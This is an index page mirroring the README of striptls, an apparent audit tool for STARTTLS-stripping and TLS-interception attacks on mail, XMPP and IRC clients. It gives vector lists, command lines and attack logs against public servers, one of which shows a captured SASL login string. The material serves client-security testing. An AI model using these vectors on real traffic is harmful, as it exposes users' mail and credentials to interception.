Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/tintinweb/striptls

proxy poc implementation of STARTTLS stripping attacks
https://github.com/tintinweb/striptls

interception man-in-the-middle mitm security security-audit starttls striptls tcp-proxy tls

Last synced: 28 days ago
JSON representation

proxy poc implementation of STARTTLS stripping attacks

Awesome Lists containing this project

README

        

![image](https://user-images.githubusercontent.com/2865694/143416063-b22e65a4-4005-453b-88d1-5477de56fdc4.png)

# striptls - auditing proxy
#### poc implementation of STARTTLS stripping attacks

A generic tcp proxy implementation and **audit tool** to perform **protocol independent** `ssl/tls` interception and `STARTTLS` stripping attacks on `SMTP`, `POP3`, `IMAP`, `FTP`, `NNTP`, `XMPP`, `ACAP` and `IRC`.

**Python2!**

##### :trophy: Trophies

* CVE-2016-0772 - [python: smtplib](https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-0772)
* CVE-2016-10027 - [Smack XMPP library](https://twitter.com/sylv1_secu/status/817305746828361728)

//Discovered a vulnerability with the help of this project? Drop me a line!

###### Requires:
* Python >= 2.7.9 (`SSLContext`) < Python 3
* (optional for tls interception) Certificate and PrivateKey in PEM format (single file) `--key=server.pem`

#### Vectors

* GENERIC
* Intercept - protocol independent ssl/tls interception. peeks for TLS Handshake, converts socket to tls (tls-to-tls proxy)
* InboundIntercept - protocol independent ssl/tls interception for the inbound channel only (tls-to-plain proxy)
* SMTP
* SMTP.StripFromCapabilities - server response capability patch
* SMTP.StripWithInvalidResponseCode - client STARTTLS stripping, invalid response code
* SMTP.UntrustedIntercept - STARTTLS interception (client and server talking ssl) (requires server.pem in pwd)
* SMTP.StripWithTemporaryError
* SMTP.StripWithError
* SMTP.ProtocolDowngradeStripExtendedMode
* SMTP.InjectCommand
* SMTP.InboundStarttlsProxy - (starttls-to-plain proxy)
* POP3
* POP3.StripFromCapabilities
* POP3.StripWithError
* POP3.UntrustedIntercept
* IMAP
* IMAP.StripFromCapabilities
* IMAP.StripWithError
* IMAP.UntrustedIntercept
* IMAP.ProtocolDowngradeToV2
* FTP
* FTP.StripFromCapabilities
* FTP.StripWithError
* FTP.UntrustedIntercept
* NNTP
* NNTP.StripFromCapabilities
* NNTP.StripWithError
* NNTP.UntrustedIntercept
* XMPP
* XMPP.StripFromCapabilities
* XMPP.StripInboundTLS
* XMPP.UntrustedIntercept
* ACAP (untested)
* ACAP.StripFromCapabilities
* ACAP.StripWithError
* ACAP.UntrustedIntercept
* IRC
* IRC.StripFromCapabilities
* IRC.StripWithError
* IRC.UntrustedIntercept
* IRC.StripWithNotRegistered
* IRC.StripCAPWithNotregistered
* IRC.StripWithSilentDrop

Results:

```python
- [*] client: 127.0.0.1
- [Vulnerable!]
- [Vulnerable!]
- [ ]
- [Vulnerable!]
- [*] client: 192.168.139.1
- [Vulnerable!]
- [Vulnerable!]
- [Vulnerable!]
```

## Usage

```
#> python2 -m pip install striptls
#> python2 -m striptls --help
```

```
#> python -m striptls --help # from pip/setup.py
#> python striptls --help # from source / root folder
Usage: striptls.py [options]

example: striptls.py --listen 0.0.0.0:25 --remote mail.server.tld:25

Options:
-h, --help show this help message and exit
-q, --quiet be quiet [default: True]
-l LISTEN, --listen=LISTEN
listen ip:port [default: 0.0.0.0:]
-r REMOTE, --remote=REMOTE
remote target ip:port to forward sessions to
-k KEY, --key=KEY SSL Certificate and Private key file to use, PEM
format assumed [default: server.pem]
-s, --generic-ssl-intercept
dynamically intercept SSL/TLS
-b BUFFER_SIZE, --bufsiz=BUFFER_SIZE
-x VECTORS, --vectors=VECTORS
Comma separated list of vectors. Use 'ALL' (default)
to select all vectors, 'NONE' for tcp/ssl proxy mode.
Available vectors: ACAP.StripFromCapabilities,
ACAP.StripWithError, ACAP.UntrustedIntercept,
FTP.StripFromCapabilities, FTP.StripWithError,
FTP.UntrustedIntercept, GENERIC.Intercept,
IMAP.ProtocolDowngradeToV2,
IMAP.StripFromCapabilities, IMAP.StripWithError,
IMAP.UntrustedIntercept,
IRC.StripCAPWithNotRegistered,
IRC.StripFromCapabilities, IRC.StripWithError,
IRC.StripWithNotRegistered, IRC.StripWithSilentDrop,
IRC.UntrustedIntercept, NNTP.StripFromCapabilities,
NNTP.StripWithError, NNTP.UntrustedIntercept,
POP3.StripFromCapabilities, POP3.StripWithError,
POP3.UntrustedIntercept, SMTP.InboundStarttlsProxy,
SMTP.InjectCommand,
SMTP.ProtocolDowngradeStripExtendedMode,
SMTP.StripFromCapabilities, SMTP.StripWithError,
SMTP.StripWithInvalidResponseCode,
SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept,
XMPP.StripFromCapabilities, XMPP.StripInboundTLS,
XMPP.UntrustedIntercept [default: ALL]
```

## Install (optional)

from pip

#> pip install striptls

from source

#> setup.py install

## Examples

inbound outbound
[inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target]
smtp-client striptls remote/target

local `smtp-client` -> `localhost:8825` (proxy) -> `mail.gmx.net:25`

### Generic SSL/TLS Interception

`--generic-ssl-intercept` is a global switch to enable generic ssl/tls handshake
detection and session conversion. Can be combined with any mangle/vector.

`GENERIC.Intercept` is a mangle/vector implementation of the ssl/tls handshake
detect and convert feature.

# python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:465 -x GENERIC.Intercept
- INFO - ready.
- DEBUG - * added vector (port:None , proto: GENERIC):
- INFO - ])}>
- INFO - client ('127.0.0.1', 8228) has connected
- INFO - connecting to target ('mail.gmx.com', 465)
- DEBUG -
- INFO - ProtocolDetect: SSL/TLS version: TLS_1_0
- INFO - SSL Handshake detected - performing ssl/tls conversion
- DEBUG - [client] <> [ ] SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG - [ ] <> [server] SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG - [client] <= [server] '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
- DEBUG - [client] => [server] 'hi\r\n'
- DEBUG - [client] <= [server] '500 Syntax error, command unrecognized\r\n'

# python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:25 -x NONE --generic-ssl-intercept
- INFO - ready.
- INFO -
- DEBUG - - protocol detected (target port)
- INFO - client ('127.0.0.1', 8290) has connected
- INFO - connecting to target ('mail.gmx.com', 25)
- DEBUG - [client] <= [server] '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
- DEBUG - [client] => [server] 'EHLO openssl.client.net\r\n'
- DEBUG - [client] <= [server] '250-gmx.com Hello openssl.client.net [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - [client] => [server] 'STARTTLS\r\n'
- DEBUG - [client] <= [server] '220 OK\r\n'
- INFO - ProtocolDetect: SSL/TLS version: TLS_1_0
- INFO - SSL Handshake detected - performing ssl/tls conversion
- DEBUG - [client] <> [ ] SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG - [ ] <> [server] SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG - [client] => [server] 'EHLO A\r\n'
- DEBUG - [client] <= [server] '250-gmx.com Hello A [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250AUTH LOGIN PLAIN\r\n'

### Audit Mode

iterates all protocol specific cases on a per client basis and keeps track of clients violating the starttls protocol. Ctrl+C to abort audit and print results.

#> python striptls --listen localhost:8825 --remote=mail.gmx.net:25
- INFO - ready.
- DEBUG - * added test (port:21 , proto: FTP):
- DEBUG - * added test (port:21 , proto: FTP):
- DEBUG - * added test (port:21 , proto: FTP):
- DEBUG - * added test (port:143 , proto: IMAP):
- DEBUG - * added test (port:143 , proto: IMAP):
- DEBUG - * added test (port:143 , proto: IMAP):
- DEBUG - * added test (port:119 , proto: NNTP):
- DEBUG - * added test (port:119 , proto: NNTP):
- DEBUG - * added test (port:119 , proto: NNTP):
- DEBUG - * added test (port:110 , proto: POP3):
- DEBUG - * added test (port:110 , proto: POP3):
- DEBUG - * added test (port:25 , proto: SMTP):
- DEBUG - * added test (port:25 , proto: SMTP):
- DEBUG - * added test (port:25 , proto: SMTP):
- DEBUG - * added test (port:25 , proto: SMTP):
- DEBUG - * added test (port:25 , proto: SMTP):
- DEBUG - * added test (port:5222 , proto: XMPP):
- INFO - ]), 110: set([, ]), 143: set([, , ]), 21: set([, , ]), 119: set([, , ]), 25: set([, , , , ])}>
- DEBUG - - protocol detected (target port)
- INFO - client ('127.0.0.1', 28902) has connected
- INFO - connecting to target ('mail.gmx.net', 25)
- DEBUG - [client] <= [server] '220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\r\n'
- DEBUG -
- DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
- DEBUG - [client] => [server] 'STARTTLS\r\n'
- DEBUG - [client] <= [server][mangled] '200 STRIPTLS\r\n'
- DEBUG - [client] => [server][mangled] None
- DEBUG - [client] => [server] 'mail FROM: size=10\r\n'
- DEBUG - [client] <= [server] '530 Authentication required\r\n'
- DEBUG - [client] => [server] 'rset\r\n'
- DEBUG - [client] <= [server] '250 OK\r\n'
- WARNING - terminated.
- DEBUG - - protocol detected (target port)
- INFO - client ('127.0.0.1', 28905) has connected
- INFO - connecting to target ('mail.gmx.net', 25)
- DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
- DEBUG -
- DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - [client] => [server] 'STARTTLS\r\n'
- DEBUG - [client] <= [server][mangled] '454 TLS not available due to temporary reason\r\n'
- DEBUG - [client] => [server][mangled] None
- DEBUG - [client] => [server] 'mail FROM:
size=10\r\n'
- DEBUG - [client] <= [server] '530 Authentication required\r\n'
- DEBUG - [client] => [server] 'rset\r\n'
- DEBUG - [client] <= [server] '250 OK\r\n'
- WARNING - terminated.
- DEBUG - - protocol detected (target port)
- INFO - client ('127.0.0.1', 28908) has connected
- INFO - connecting to target ('mail.gmx.net', 25)
- DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
- DEBUG -
- DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
- WARNING - terminated.
- DEBUG - - protocol detected (target port)
- INFO - client ('127.0.0.1', 28911) has connected
- INFO - connecting to target ('mail.gmx.net', 25)
- DEBUG - [client] <= [server] '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
- DEBUG -
- DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - [client] => [server] 'STARTTLS\r\n'
- DEBUG - [client] <= [server][mangled] '501 Syntax error\r\n'
- DEBUG - [client] => [server][mangled] None
- DEBUG - [client] => [server] 'mail FROM:
size=10\r\n'
- DEBUG - [client] <= [server] '530 Authentication required\r\n'
- DEBUG - [client] => [server] 'rset\r\n'
- DEBUG - [client] <= [server] '250 OK\r\n'
- WARNING - terminated.
- WARNING - Ctrl C - Stopping server
- INFO - -- audit results --
- INFO - [*] client: 127.0.0.1
- INFO - [Vulnerable!]
- INFO - [Vulnerable!]
- INFO - [ ]
- INFO - [Vulnerable!]

### Strip STARTTLS from server capabilities

#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripFromCapabilities
- INFO - ready.
- INFO - ])}>
- DEBUG - - protocol detected (target port)
- INFO - client ('127.0.0.1', 20070) has connected
- INFO - connecting to target ('mail.gmx.net', 25)
- DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
- DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
- DEBUG - [client] => [server] 'mail FROM:
size=10\r\n'
- DEBUG - [client] <= [server] '530 Authentication required\r\n'
- DEBUG - [client] => [server] 'rset\r\n'
- DEBUG - [client] <= [server] '250 OK\r\n'
- WARNING - terminated.

### Invalid STARTTLS response code

#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripWithInvalidResponseCode
- INFO - ready.
- INFO - ])}>
- DEBUG - - protocol detected (target port)
- INFO - client ('127.0.0.1', 20061) has connected
- INFO - connecting to target ('mail.gmx.net', 25)
- DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
- DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
- DEBUG - [client] => [server] 'STARTTLS\r\n'
- DEBUG - [client] <= [server][mangled] '200 STRIPTLS\r\n'
- DEBUG - [client] => [server][mangled] None
- DEBUG - [client] => [server] 'mail FROM:
size=10\r\n'
- DEBUG - [client] <= [server] '530 Authentication required\r\n'
- DEBUG - [client] => [server] 'rset\r\n'
- DEBUG - [client] <= [server] '250 OK\r\n'
- WARNING - terminated.

### Untrusted SSL Intercept (for clients not checking server cert trust)

#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.UntrustedIntercept
- INFO - ready.
- INFO - ])}>
- DEBUG - - protocol detected (target port)
- INFO - client ('127.0.0.1', 20238) has connected
- INFO - connecting to target ('mail.gmx.net', 25)
- DEBUG - [client] <= [server] '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
- DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - [client] => [server] 'STARTTLS\r\n'
- DEBUG - [client] <= [server][mangled] '220 Go ahead\r\n'
- DEBUG - [client] <= [server][mangled] waiting for inbound SSL Handshake
- DEBUG - [client] => [server] 'STARTTLS\r\n'
- DEBUG - [client] => [server][mangled] performing outbound SSL handshake
- DEBUG - [client] => [server][mangled] None
- DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250 AUTH LOGIN PLAIN\r\n'
- DEBUG - [client] => [server] 'mail FROM:
size=10\r\n'
- DEBUG - [client] <= [server] '530 Authentication required\r\n'
- DEBUG - [client] => [server] 'rset\r\n'
- DEBUG - [client] <= [server] '250 OK\r\n'
- WARNING - terminated.

### XMPP Audit Trail

Example: Pidgin with optional transport security.

#### XMPP.StripInboundTLS - Inbound Plain - Outbound TLS - in case server requires starttls

python striptls --listen 0.0.0.0:5222 --remote jabber.ccc.de:5222 -k ../server.pem
- INFO - ready.
...
- DEBUG - - protocol detected (target port)
...
- INFO - client ('192.168.139.1', 56888) has connected
- INFO - connecting to target ('jabber.ccc.de', 5222)
- DEBUG - [client] => [server] ""
- DEBUG -
- DEBUG - [client] <= [server] ""
- DEBUG - [client] <= [server] ""
- DEBUG - [client] => [server][mangled] ""
- DEBUG - [client] => [server][mangled] performing outbound SSL handshake
- DEBUG - [client] <= [server][mangled] ""
- DEBUG - [client] => [server] "tin"
- DEBUG - [client] <= [server] ""
- DEBUG - [client] <= [server] ""
- DEBUG - [client] <= [server] ''
- WARNING - terminated.

#### XMPP.StripFromCapabilities - strip starttls server annoucement

- DEBUG - - protocol detected (target port)
- INFO - client ('192.168.139.1', 56890) has connected
- INFO - connecting to target ('jabber.ccc.de', 5222)
- DEBUG - [client] => [server] ""
- DEBUG -
- DEBUG - [client] <= [server] ""
- DEBUG - [client] <= [server] ""
- DEBUG - [client] <= [server][mangled] ""
- DEBUG - [client] => [server] "tin"
- DEBUG - [client] <= [server] "Use of STARTTLS required"
- WARNING - terminated.

#### XMPP.StripUntrustedIntercept - TLS Interception inbound and outbound with own certificate/key

- DEBUG - - protocol detected (target port)
- INFO - client ('192.168.139.1', 56892) has connected
- INFO - connecting to target ('jabber.ccc.de', 5222)
- DEBUG - [client] => [server] ""
- DEBUG -
- DEBUG - [client] <= [server] ""
- DEBUG - [client] => [server] ""
- DEBUG - [client] <= [server][mangled] ""
- DEBUG - [client] <= [server][mangled] waiting for inbound SSL Handshake
- DEBUG - [client] => [server] ""
- DEBUG - [client] => [server][mangled] performing outbound SSL handshake
- DEBUG - [client] => [server][mangled] None
- DEBUG - [client] => [server] '<'
- DEBUG - [client] => [server] "stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
- DEBUG - [client] <= [server] ""
- DEBUG - [client] <= [server] "PLAINX-OAUTH2SCRAM-SHA-1"
- DEBUG - [client] => [server] '<'
- DEBUG - [client] => [server] "auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN' xmlns:ga='http://www.google.com/talk/protocol/auth' ga:client-uses-full-bind-result='true'>AHRpbgB4eA=="
- DEBUG - [client] <= [server] ""
- DEBUG - [client] => [server] '<'
- DEBUG - [client] => [server] '/stream:stream>'
- WARNING - terminated.

#### XMPP Audit results

- WARNING - Ctrl C - Stopping server
- INFO - -- audit results --
- INFO - [*] client: 192.168.139.1
- INFO - [Vulnerable!]
- INFO - [Vulnerable!]
- INFO - [Vulnerable!]